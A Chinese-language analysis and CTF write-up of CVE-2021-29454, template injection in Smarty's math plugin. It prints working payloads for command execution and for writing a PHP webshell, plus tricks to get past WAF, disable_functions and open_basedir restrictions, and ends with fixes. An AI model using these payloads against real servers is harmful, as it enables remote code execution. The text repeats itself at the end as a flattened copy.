CVE-2021-29454—Smarty模板注入分析复现
字数 1070 2025-08-29 08:32:01

Smarty模板注入漏洞(CVE-2021-29454)分析与利用指南

漏洞概述

Smarty是PHP的模板引擎,用于分离表示层(HTML/CSS)与应用程序逻辑。在3.1.42和4.0.2版本之前,存在一个模板注入漏洞,允许攻击者通过恶意构造的数学字符串执行任意PHP代码。

影响版本

  • Smarty 3.x < 3.1.42
  • Smarty 4.x < 4.0.2

漏洞原理

漏洞位于/plugins/function.math.php文件中,未对数学函数的输入进行充分过滤。攻击者可以通过精心构造的数学表达式实现代码注入。

修复对比

官方在修复版本中添加了以下过滤代码:

// Remove whitespaces
$equation = preg_replace('/\s+/', '', $equation);

// Adapted from https://www.php.net/manual/en/function.eval.php#107377
$number = '(?:\d+(?:\.\d+)?|pi|π)'; // What is a number
$functionsOrVars = '((?:0x[a-fA-F0-9]+)|([a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*))';
$operators = '[+\-\*\/%^&|]'; // Allowed math operators
$regexp = '/^('.$number.'|'.$functionsOrVars.'|('.$functionsOrVars.'\s*$(?1)*$)|$(?1)*$|'.$operators.')*$/';

if (!preg_match($regexp, $equation)) {
    trigger_error("math: illegal characters", E_USER_WARNING);
    return;
}

漏洞利用方法

姿势一:换行绕过正则

  1. 设置Cookie:login=1
  2. POST传参(URL编码):
    {math equation="x\n).system('id');//" x=1}
    
  3. 绕过disable_functionsopen_basedir限制:
    • 使用symlink()函数创建符号链接
    • 或使用ini_set()临时修改open_basedir

姿势二:八进制编码执行

使用八进制编码直接写入一句话木马:

eval:{$x="42"}{math equation="(\"\\146\\151\\154\\145\\137\\160\\165\\164\\137\\143\\157\\156\\164\\145\\156\\164\\163\")(\"\\141\\56\\160\\150\\160\",\"\\74\\77\\160\\150\\160\\40\\145\\166\\141\\154\\50\\44\\137\\122\\105\\121\\125\\105\\123\\124\\133\\47\\120\\141\\143\\153\\47\\135\\51\\73\\77\\76\")"}

解码后相当于执行:

file_put_contents("a.php", "<?php eval(\$_REQUEST['Pack']);?>");

姿势三:数学函数拼接执行

利用数学函数名拼接执行命令:

{math equation="p;('exp'[0].'exp'[1].'exp'[0].'cos'[0])('cos'[0].'abs'[0].'tan'[0].'floor'[0].'floor'[1].'abs'[0].'log'[2].'>1');" p="1"}

解码后相当于执行:

exec('cat /flag')>1

实战案例:红明谷2022 Smarty calculator

环境分析

  1. 版本检测:{system('id')}可返回Smarty版本3.1.39
  2. 源码泄露:访问www.zip获取源码
  3. WAF过滤:检测php<flag等关键字
  4. 登录检查:需要设置login Cookie

绕过技巧

  1. WAF绕过:使用八进制编码或字符串拼接
  2. 正则绕过:使用换行符\n绕过正则检测
  3. 安全限制绕过
    • 使用symlink()绕过open_basedir
    • 使用ini_set()临时修改配置

完整利用步骤

  1. 设置Cookie:login=1
  2. 发送Payload(选择一种方式):
    • 直接执行命令:
      {math equation="x\n).system('cat /flag');//" x=1}
      
    • 写入Webshell:
      eval:{$x="42"}{math equation="(\"\\146\\151\\154\\145\\137\\160\\165\\164\\137\\143\\157\\156\\164\\145\\156\\164\\163\")(\"\\141\\56\\160\\150\\160\",\"\\74\\77\\160\\150\\160\\40\\145\\166\\141\\154\\50\\44\\137\\122\\105\\121\\125\\105\\123\\124\\133\\47\\120\\141\\143\\153\\47\\135\\51\\73\\77\\76\")"}
      
  3. 访问写入的Webshell获取flag

防御措施

  1. 升级Smarty到最新版本(3.1.42+/4.0.2+)
  2. 对用户输入进行严格过滤
  3. 禁用不必要的PHP函数
  4. 设置合理的open_basedir
  5. 使用安全的模板引擎配置

参考链接

  • 官方修复:https://github.com/smarty-php/smarty/commit/...
  • 漏洞详情:https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-29454
Smarty模板注入漏洞(CVE-2021-29454)分析与利用指南 漏洞概述 Smarty是PHP的模板引擎,用于分离表示层(HTML/CSS)与应用程序逻辑。在3.1.42和4.0.2版本之前,存在一个模板注入漏洞,允许攻击者通过恶意构造的数学字符串执行任意PHP代码。 影响版本 : Smarty 3.x < 3.1.42 Smarty 4.x < 4.0.2 漏洞原理 漏洞位于 /plugins/function.math.php 文件中,未对数学函数的输入进行充分过滤。攻击者可以通过精心构造的数学表达式实现代码注入。 修复对比 官方在修复版本中添加了以下过滤代码: 漏洞利用方法 姿势一:换行绕过正则 设置Cookie: login=1 POST传参(URL编码): 绕过 disable_functions 和 open_basedir 限制: 使用 symlink() 函数创建符号链接 或使用 ini_set() 临时修改 open_basedir 姿势二:八进制编码执行 使用八进制编码直接写入一句话木马: 解码后相当于执行: 姿势三:数学函数拼接执行 利用数学函数名拼接执行命令: 解码后相当于执行: 实战案例:红明谷2022 Smarty calculator 环境分析 版本检测: {system('id')} 可返回Smarty版本3.1.39 源码泄露:访问 www.zip 获取源码 WAF过滤:检测 php 、 < 、 flag 等关键字 登录检查:需要设置 login Cookie 绕过技巧 WAF绕过 :使用八进制编码或字符串拼接 正则绕过 :使用换行符 \n 绕过正则检测 安全限制绕过 : 使用 symlink() 绕过 open_basedir 使用 ini_set() 临时修改配置 完整利用步骤 设置Cookie: login=1 发送Payload(选择一种方式): 直接执行命令: 写入Webshell: 访问写入的Webshell获取flag 防御措施 升级Smarty到最新版本(3.1.42+/4.0.2+) 对用户输入进行严格过滤 禁用不必要的PHP函数 设置合理的 open_basedir 使用安全的模板引擎配置 参考链接 官方修复:https://github.com/smarty-php/smarty/commit/... 漏洞详情:https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-29454